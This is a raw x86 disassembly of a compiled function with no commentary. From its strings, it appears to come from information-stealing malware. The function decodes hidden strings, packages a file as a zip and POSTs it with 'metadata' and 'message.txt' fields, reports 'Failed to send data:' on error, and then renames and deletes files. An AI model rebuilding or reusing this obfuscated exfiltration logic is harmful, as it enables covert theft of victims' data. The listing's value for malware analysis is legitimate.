cmp dword [ebp - 0x20], 7
cmova eax, dword [ebp - 0x34]
push eax
call fcn.0060bb93
mov dword [ebp - 0x674], eax
mov ecx, edx
movzx eax, al
cdq
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x18], 0x6d79c0
cmp ecx, 0x91
jne 0x43e1bb
lea eax, [ebp - 0x40]
push eax
lea edx, [ebp - 0x1c]
lea ecx, [ebp - 0x34]
call fcn.004099a0
mov ecx, dword [ebp - 0x1c]
add esp, 4
test ecx, ecx
jne 0x43f1bd
mov ecx, dword [ebp - 0x20]
cmp ecx, 7
jbe 0x43e1fd
mov edx, dword [ebp - 0x34]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x43e1f3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43f1ce
push ecx
push edx
call fcn.0061f90d
add esp, 8
cmp dword [ebp - 0xbc], 0xf
lea eax, [ebp - 0xd0]
push dword [ebp - 0xc0]
cmova eax, dword [ebp - 0xd0]
lea ecx, [ebp - 0x34]
push eax
mov byte [ebp - 0x18], 0
push dword [ebp - 0x18]
call fcn.0047e030
add esp, 0xc
mov dword [ebp - 0x1c], 0
lea edx, [ebp - 0x1c]
mov dword [ebp - 0x18], 0x6d79c0
lea ecx, [ebp - 0x34]
call fcn.00409710
cmp dword [ebp - 0x1c], 0
mov byte [ebp - 0x651], al
jne 0x43f1d3
mov ecx, dword [ebp - 0x20]
cmp ecx, 7
jbe 0x43e293
mov edx, dword [ebp - 0x34]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x43e283
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43f1e4
push ecx
push edx
call fcn.0061f90d
mov al, byte [ebp - 0x651]
add esp, 8
test al, al
je 0x43e726
push str.041c121757434753495c5e5d48555f465b5e5d5b515d5f
lea ecx, [ebp - 0x118]
call fcn.00411360
push str.lhfgmlhfgmhlfgmhlfgmhkfghmfkghmfgkhfgfg
lea ecx, [ebp - 0xa0]
call fcn.00411360
lea edx, [ebp - 0x118]
lea ecx, [ebp - 0x58]
call fcn.00438de0
lea eax, [ebp - 0xa0]
push eax
lea edx, [ebp - 0x58]
lea ecx, [ebp - 0xb8]
call fcn.00438cd0
add esp, 4
mov dword [ebp - 0x3c], 0
lea eax, [ebp - 0x70]
mov dword [ebp - 0x60], 0
xorps xmm0, xmm0
mov dword [ebp - 0x5c], 0xf
movups xmmword [ebp - 0x70], xmm0
push eax
lea eax, [ebp - 0x34]
mov byte [ebp - 0x70], 0
push eax
lea eax, [ebp - 0xb8]
mov dword [ebp - 0x24], 0
movups xmmword [ebp - 0x34], xmm0
push eax
lea ecx, [ebp - 0x3c]
mov dword [ebp - 0x20], 0xf
mov byte [ebp - 0x34], 0
call fcn.0041b290
mov ecx, dword [ebp - 0x20]
cmp ecx, 0xf
jbe 0x43e362
mov edx, dword [ebp - 0x34]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43e358
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43f1e9
push ecx
push edx
call fcn.0061f90d
add esp, 8
mov ecx, dword [ebp - 0x5c]
cmp ecx, 0xf
jbe 0x43e396
mov edx, dword [ebp - 0x70]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43e38c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43f1e9
push ecx
push edx
call fcn.0061f90d
add esp, 8
push 0xb8
lea eax, [ebp - 0x368]
push 0
push eax
call fcn.00621d30
add esp, 4
lea eax, [ebp - 0xd0]
lea ecx, [ebp - 0x368]
push 0x20
push eax
call fcn.00442080
cmp dword [ebp - 0x30c], 0
je 0x43e58a
lea eax, [ebp - 0x368]
mov dword [ebp - 0xd4], 0
xorps xmm0, xmm0
mov word [ebp - 0x18], 1
push eax
lea ecx, [ebp - 0x674]
movq qword [ebp - 0xdc], xmm0
call fcn.0043f240
push dword [ebp - 0x18]
push 0
push dword [eax + 4]
push dword [eax]
push ecx
lea ecx, [ebp - 0xdc]
call fcn.0045cdc0
lea ecx, [ebp - 0x368]
call fcn.00441f40
xorps xmm0, xmm0
mov dword [ebp - 0xec], 0
push str.metadata
lea ecx, [ebp - 0x428]
movq qword [ebp - 0xf4], xmm0
call fcn.00411360
lea eax, [ebp - 0x208]
push eax
lea ecx, [ebp - 0x410]
call fcn.00447ad0
push str.message.txt
lea ecx, [ebp - 0x3f8]
call fcn.00411360
push str.text_plain
lea ecx, [ebp - 0x3e0]
call fcn.00411360
push str.file
lea ecx, [ebp - 0x3c8]
call fcn.00411360
push ecx
push dword [ebp - 0xd8]
lea ecx, [ebp - 0x3b0]
push dword [ebp - 0xdc]
call fcn.0045ab90
push str.file.zip
lea ecx, [ebp - 0x398]
call fcn.00411360
push str.application_zip
lea ecx, [ebp - 0x380]
call fcn.00411360
lea ecx, [ebp - 0x428]
push ecx
lea eax, [ebp - 0x368]
push eax
push ecx
lea ecx, [ebp - 0xf4]
call fcn.00441290
push fcn.004140b0
push 2
push 0x60
lea eax, [ebp - 0x428]
push eax
call fcn.0061f5a7
xorps xmm0, xmm0
lea ecx, [ebp - 0x66c]
push 0x6a670c
movups xmmword [ebp - 0x648], xmm0
call fcn.00411360
lea eax, [ebp - 0xf4]
push eax
lea eax, [ebp - 0x66c]
push eax
lea eax, [ebp - 0x648]
push eax
lea ecx, [ebp - 0x3c]
call fcn.0041b9f0
lea ecx, [ebp - 0x66c]
call fcn.004478d0
mov eax, dword [ebp - 0x648]
test eax, eax
je 0x43e53e
cmp dword [eax + 0x18], 0xc8
je 0x43e569
push str.Failed_to_send_data:
push 0x6ed250
call fcn.00453940
mov ecx, dword [ebp - 0x644]
lea edx, [ebp - 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, eax
call fcn.004115c0
push eax
call fcn.004595a0
add esp, 0xc
lea ecx, [ebp - 0x648]
call fcn.00417110
lea ecx, [ebp - 0xf4]
call fcn.0044b840
lea ecx, [ebp - 0xdc]
call fcn.00443ed0
mov eax, dword [ebp - 0x368]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x368]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x36c], eax
lea ecx, [ebp - 0x358]
call fcn.00441e90
mov eax, dword [ebp - 0x368]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_istream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x368]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x18]
mov dword [ebp + ecx - 0x36c], eax
lea eax, [ebp - 0x2f8]
mov dword [ebp - 4], 0
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.0060dece
mov dword [ebp - 4], 0xffffffff
add esp, 4
mov ecx, dword [ebp - 0x3c]
test ecx, ecx
je 0x43e617
mov eax, dword [ecx]
push 1
call dword [eax]
mov ecx, dword [ebp - 0xa4]
cmp ecx, 0xf
jbe 0x43e651
mov edx, dword [ebp - 0xb8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43e647
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43f1e9
push ecx
push edx
call fcn.0061f90d
add esp, 8
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0xa8], 0
mov dword [ebp - 0xa4], 0xf
mov byte [ebp - 0xb8], 0
cmp ecx, 0xf
jbe 0x43e6a0
mov edx, dword [ebp - 0x58]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43e696
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43f1e9
push ecx
push edx
call fcn.0061f90d
add esp, 8
mov ecx, dword [ebp - 0x8c]
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 0xf
mov byte [ebp - 0x58], 0
cmp ecx, 0xf
jbe 0x43e6ec
mov edx, dword [ebp - 0xa0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43e6e2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43f1e9
push ecx
push edx
call fcn.0061f90d
add esp, 8
mov ecx, dword [ebp - 0x104]
cmp ecx, 0xf
jbe 0x43e726
mov edx, dword [ebp - 0x118]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43e71c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43f1e9
push ecx
push edx
call fcn.0061f90d
add esp, 8
push 0x5c
xorps xmm0, xmm0
mov dword [ebp - 0x90], 0
push str.51464a565248454057415f33383013360420042b5241235912123e184257121629351630332a383734493a195c52
lea ecx, [ebp - 0xa0]
mov dword [ebp - 0x8c], 0
movups xmmword [ebp - 0xa0], xmm0
call fcn.004113d0
push 0x14
xorps xmm0, xmm0
mov dword [ebp - 0x48], 0
push str.4b55474a5343495d454a
lea ecx, [ebp - 0x58]
mov dword [ebp - 0x44], 0
movups xmmword [ebp - 0x58], xmm0
call fcn.004113d0
push 0x1d
xorps xmm0, xmm0
mov dword [ebp - 0xa8], 0
push str.fusdgyuygueryukdjqsodqsidqsop
lea ecx, [ebp - 0xb8]
mov dword [ebp - 0xa4], 0
movups xmmword [ebp - 0xb8], xmm0
call fcn.004113d0
push 0x2a
xorps xmm0, xmm0
mov dword [ebp - 0x60], 0
push str.zerzerzerzerzerzerzerzerzerzerzrghdhdfghdf
lea ecx, [ebp - 0x70]
mov dword [ebp - 0x5c], 0
movups xmmword [ebp - 0x70], xmm0
call fcn.004113d0
lea edx, [ebp - 0xa0]
lea ecx, [ebp - 0x268]
call fcn.00438de0
lea eax, [ebp - 0xb8]
push eax
lea edx, [ebp - 0x268]
lea ecx, [ebp - 0x250]
call fcn.00438cd0
add esp, 4
lea edx, [ebp - 0x58]
lea ecx, [ebp - 0x238]
call fcn.00438de0
lea eax, [ebp - 0x70]
push eax
lea edx, [ebp - 0x238]
lea ecx, [ebp - 0x220]
call fcn.00438cd0
add esp, 4
lea eax, [ebp - 0x208]
lea edx, [ebp - 0x220]
lea ecx, [ebp - 0x250]
push eax
lea eax, [ebp - 0xd0]
push eax
call fcn.004388c0
cmp dword [ebp - 0xbc], 0xf
lea eax, [ebp - 0xd0]
push dword [ebp - 0xc0]
cmova eax, dword [ebp - 0xd0]
lea ecx, [ebp - 0x34]
push eax
mov byte [ebp - 0x18], 0
push dword [ebp - 0x18]
call fcn.0047e030
add esp, 0x14
mov dword [ebp - 0x1c], 0
lea edx, [ebp - 0x1c]
mov dword [ebp - 0x18], 0x6d79c0
lea ecx, [ebp - 0x34]
call fcn.00409710
cmp dword [ebp - 0x1c], 0
mov byte [ebp - 0x651], al
jne 0x43f1ee
mov ecx, dword [ebp - 0x20]
cmp ecx, 7
jbe 0x43e8d5
mov edx, dword [ebp - 0x34]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x43e8c5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43f1ff
push ecx
push edx
call fcn.0061f90d
mov al, byte [ebp - 0x651]
add esp, 8
test al, al
je 0x43e95d
cmp dword [ebp - 0xbc], 0xf
lea eax, [ebp - 0xd0]
push dword [ebp - 0xc0]
cmova eax, dword [ebp - 0xd0]
lea ecx, [ebp - 0x34]
push eax
mov byte [ebp - 0x18], 0
push dword [ebp - 0x18]
call fcn.0047e030
add esp, 0xc
lea eax, [ebp - 0x34]
cmp dword [ebp - 0x20], 7
cmova eax, dword [ebp - 0x34]
push eax
call fcn.0060bb93
test edx, edx
jne 0x43f204
mov ecx, dword [ebp - 0x20]
cmp ecx, 7
jbe 0x43e95d
mov edx, dword [ebp - 0x34]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x43e953
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43f212
push ecx
push edx
call fcn.0061f90d
add esp, 8
cmp dword [ebp - 0x11c], 7
lea eax, [ebp - 0x130]
push dword [ebp - 0x120]
cmova eax, dword [ebp - 0x130]
lea ecx, [ebp - 0x34]
xorps xmm0, xmm0
mov dword [ebp - 0x24], 0
push eax
movups xmmword [ebp - 0x34], xmm0
mov dword [ebp - 0x20], 0
call fcn.00423ce0
lea edx, [ebp - 0x1c]
mov dword [ebp - 0x1c], 0
lea ecx, [ebp - 0x34]
mov dword [ebp - 0x18], 0x6d79c0
call fcn.00409710
cmp dword [ebp - 0x1c], 0
mov byte [ebp - 0x651], al
jne 0x43f217
mov ecx, dword [ebp - 0x20]
cmp ecx, 7
jbe 0x43e9fe
mov edx, dword [ebp - 0x34]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x43e9ee
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43f228
push ecx
push edx
call fcn.0061f90d
mov al, byte [ebp - 0x651]
add esp, 8
test al, al
je 0x43ea95
cmp dword [ebp - 0x11c], 7
lea eax, [ebp - 0x130]
push dword [ebp - 0x120]
cmova eax, dword [ebp - 0x130]
lea ecx, [ebp - 0x68c]
xorps xmm0, xmm0
mov dword [ebp - 0x67c], 0
push eax
movups xmmword [ebp - 0x68c], xmm0
mov dword [ebp - 0x678], 0
call fcn.00423ce0
lea ecx, [ebp - 0x68c]
call fcn.00409b70
mov ecx, dword [ebp - 0x678]
cmp ecx, 7
jbe 0x43ea95
mov edx, dword [ebp - 0x68c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x43ea8b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43f22d
push ecx
push edx
call fcn.0061f90d
add esp, 8
mov ecx, dword [ebp - 0x20c]
xor esi, esi
cmp ecx, 0xf
jbe 0x43ead1
mov edx, dword [ebp - 0x220]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43eac7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43f232
push ecx
push edx
call fcn.0061f90d
add esp, 8
mov ecx, dword [ebp - 0x224]
mov dword [ebp - 0x210], esi
mov dword [ebp - 0x20c], 0xf
mov byte [ebp - 0x220], 0
cmp ecx, 0xf
jbe 0x43eb22
mov edx, dword [ebp - 0x238]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43eb18
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43f232
push ecx
push edx
call fcn.0061f90d
add esp, 8
mov ecx, dword [ebp - 0x23c]
mov dword [ebp - 0x228], esi
mov dword [ebp - 0x224], 0xf
mov byte [ebp - 0x238], 0
cmp ecx, 0xf
jbe 0x43eb73
mov edx, dword [ebp - 0x250]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43eb69
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43f232
push ecx
push edx
call fcn.0061f90d
add esp, 8
mov ecx, dword [ebp - 0x254]
mov dword [ebp - 0x240], esi
mov dword [ebp - 0x23c], 0xf
mov byte [ebp - 0x250], 0
cmp ecx, 0xf
jbe 0x43ebc4
mov edx, dword [ebp - 0x268]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43ebba
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43f232
push ecx
push edx
call fcn.0061f90d
add esp, 8
mov ecx, dword [ebp - 0x5c]
mov dword [ebp - 0x258], esi
mov dword [ebp - 0x254], 0xf
mov byte [ebp - 0x268], 0
cmp ecx, 0xf
jbe 0x43ec0f
mov edx, dword [ebp - 0x70]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43ec05
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43f232
push ecx
push edx
call fcn.0061f90d
add esp, 8
mov ecx, dword [ebp - 0xa4]
cmp ecx, 0xf
jbe 0x43ec49
mov edx, dword [ebp - 0xb8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43ec3f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43f232
push ecx
push edx
call fcn.0061f90d
add esp, 8
mov ecx, dword [ebp - 0x44]
cmp ecx, 0xf
jbe 0x43ec7d
mov edx, dword [ebp - 0x58]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43ec73
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43f232
push ecx
push edx
call fcn.0061f90d
add esp, 8
mov ecx, dword [ebp - 0x8c]
cmp ecx, 0xf
jbe 0x43ecb7
mov edx, dword [ebp - 0xa0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43ecad
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43f232
push ecx
push edx
call fcn.0061f90d
add esp, 8
mov ecx, dword [ebp - 0xbc]
cmp ecx, 0xf
jbe 0x43ecf1
mov edx, dword [ebp - 0xd0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43ece7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43f232
push ecx
push edx
call fcn.0061f90d
add esp, 8
mov ecx, dword [ebp - 0x74]
mov dword [ebp - 0xc0], esi
mov dword [ebp - 0xbc], 0xf
mov byte [ebp - 0xd0], 0
cmp ecx, 0xf
jbe 0x43ed3f
mov edx, dword [ebp - 0x88]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43ed35
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43f232
push ecx
push edx
call fcn.0061f90d
add esp, 8
mov ecx, dword [ebp - 0x134]
mov dword [ebp - 0x78], esi
mov dword [ebp - 0x74], 0xf
mov byte [ebp - 0x88], 0
cmp ecx, 0xf
jbe 0x43ed8a
mov edx, dword [ebp - 0x148]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43ed80
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43f232
push ecx
push edx
call fcn.0061f90d
add esp, 8
lea ecx, [ebp - 0x19c]
call fcn.00440cc0
lea ecx, [ebp - 0x1a8]
call fcn.00440cc0
mov ecx, dword [ebp - 0x1f4]
cmp ecx, 0xf
jbe 0x43edda
mov edx, dword [ebp - 0x208]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43edd0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43f232
push ecx
push edx
call fcn.0061f90d
add esp, 8
mov ecx, dword [ebp - 0x17c]
mov dword [ebp - 0x1f8], 0
mov dword [ebp - 0x1f4], 0xf
mov byte [ebp - 0x208], 0
cmp ecx, 0xf
jbe 0x43ee2f
mov edx, dword [ebp - 0x190]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43ee25
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43f232
push ecx
push edx
call fcn.0061f90d
add esp, 8
mov ecx, dword [ebp - 0x1ac]
mov dword [ebp - 0x180], 0
mov dword [ebp - 0x17c], 0xf
mov byte [ebp - 0x190], 0
cmp ecx, 0xf
jbe 0x43ee84
mov edx, dword [ebp - 0x1c0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43ee7a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43f232
push ecx
push edx
call fcn.0061f90d
add esp, 8
mov ecx, dword [ebp - 0x26c]
mov dword [ebp - 0x1b0], 0
mov dword [ebp - 0x1ac], 0xf
mov byte [ebp - 0x1c0], 0
cmp ecx, 7
jbe 0x43eedf
mov edx, dword [ebp - 0x280]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x43eed5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43f232
push ecx
push edx
call fcn.0061f90d
add esp, 8
mov ecx, dword [ebp - 0x1c4]
xor eax, eax
mov dword [ebp - 0x270], 0
mov dword [ebp - 0x26c], 7
mov word [ebp - 0x280], ax
cmp ecx, 0xf
jbe 0x43ef36
mov edx, dword [ebp - 0x1d8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43ef2c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43f232
push ecx
push edx
call fcn.0061f90d
add esp, 8
mov ecx, dword [ebp - 0x1dc]
mov dword [ebp - 0x1c8], 0
mov dword [ebp - 0x1c4], 0xf
mov byte [ebp - 0x1d8], 0
cmp ecx, 0xf
jbe 0x43ef8b
mov edx, dword [ebp - 0x1f0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43ef81
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43f232
push ecx
push edx
call fcn.0061f90d
add esp, 8
mov ecx, dword [ebp - 0x284]
mov dword [ebp - 0x1e0], 0
mov dword [ebp - 0x1dc], 0xf
mov byte [ebp - 0x1f0], 0
cmp ecx, 7
jbe 0x43efe6
mov edx, dword [ebp - 0x298]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x43efdc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43f232
push ecx
push edx
call fcn.0061f90d
add esp, 8
mov ecx, dword [ebp - 0x14c]
xor eax, eax
mov dword [ebp - 0x288], 0
mov dword [ebp - 0x284], 7
mov word [ebp - 0x298], ax
cmp ecx, 0xf
jbe 0x43f03d
mov edx, dword [ebp - 0x160]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43f033
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43f232
push ecx
push edx
call fcn.0061f90d
add esp, 8
mov ecx, dword [ebp - 0x164]
mov dword [ebp - 0x150], 0
mov dword [ebp - 0x14c], 0xf
mov byte [ebp - 0x160], 0
cmp ecx, 0xf
jbe 0x43f092
mov edx, dword [ebp - 0x178]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43f088
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43f232
push ecx
push edx
call fcn.0061f90d
add esp, 8
mov ecx, dword [ebp - 0x11c]
mov dword [ebp - 0x168], 0
mov dword [ebp - 0x164], 0xf
mov byte [ebp - 0x178], 0
cmp ecx, 7
jbe 0x43f0ed
mov edx, dword [ebp - 0x130]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x43f0e3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43f232
push ecx
push edx
call fcn.0061f90d
add esp, 8
mov ecx, dword [ebp - 0x29c]
xor eax, eax
mov dword [ebp - 0x120], 0
mov dword [ebp - 0x11c], 7
mov word [ebp - 0x130], ax
cmp ecx, 0xf
jbe 0x43f144
mov edx, dword [ebp - 0x2b0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43f13a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43f232
push ecx
push edx
call fcn.0061f90d
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0061f478
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret 0x10
call fcn.00402f70
call fcn.00636c1b
lea eax, [ebp - 0x34]
mov ecx, str.exists
push eax
lea edx, [ebp - 0x1c]
call fcn.00408290
call fcn.00636c1b
lea ecx, [ebp - 0xb8]
mov edx, eax
push ecx
lea ecx, [ebp - 0x70]
push ecx
mov ecx, str.rename
call fcn.00408200
call fcn.00636c1b
call fcn.00402f70
lea eax, [ebp - 0x34]
mov ecx, str.exists
push eax
lea edx, [ebp - 0x1c]
call fcn.00408290
call fcn.00636c1b
lea eax, [ebp - 0x34]
mov ecx, str.remove_all
push eax
lea edx, [ebp - 0x1c]
call fcn.00408290
call fcn.00636c1b
lea eax, [ebp - 0x34]
mov ecx, str.exists
push eax
lea edx, [ebp - 0x1c]
call fcn.00408290
call fcn.00636c1b
call fcn.00636c1b
lea eax, [ebp - 0x34]
mov ecx, str.exists
push eax
lea edx, [ebp - 0x1c]
call fcn.00408290
call fcn.00636c1b
lea eax, [ebp - 0x34]
mov ecx, str.remove
push eax
call fcn.00408170
call fcn.00636c1b
lea eax, [ebp - 0x34]
mov ecx, str.exists
push eax
lea edx, [ebp - 0x1c]
call fcn.00408290
call fcn.00636c1b
call fcn.00636c1b
call fcn.00636c1b
int3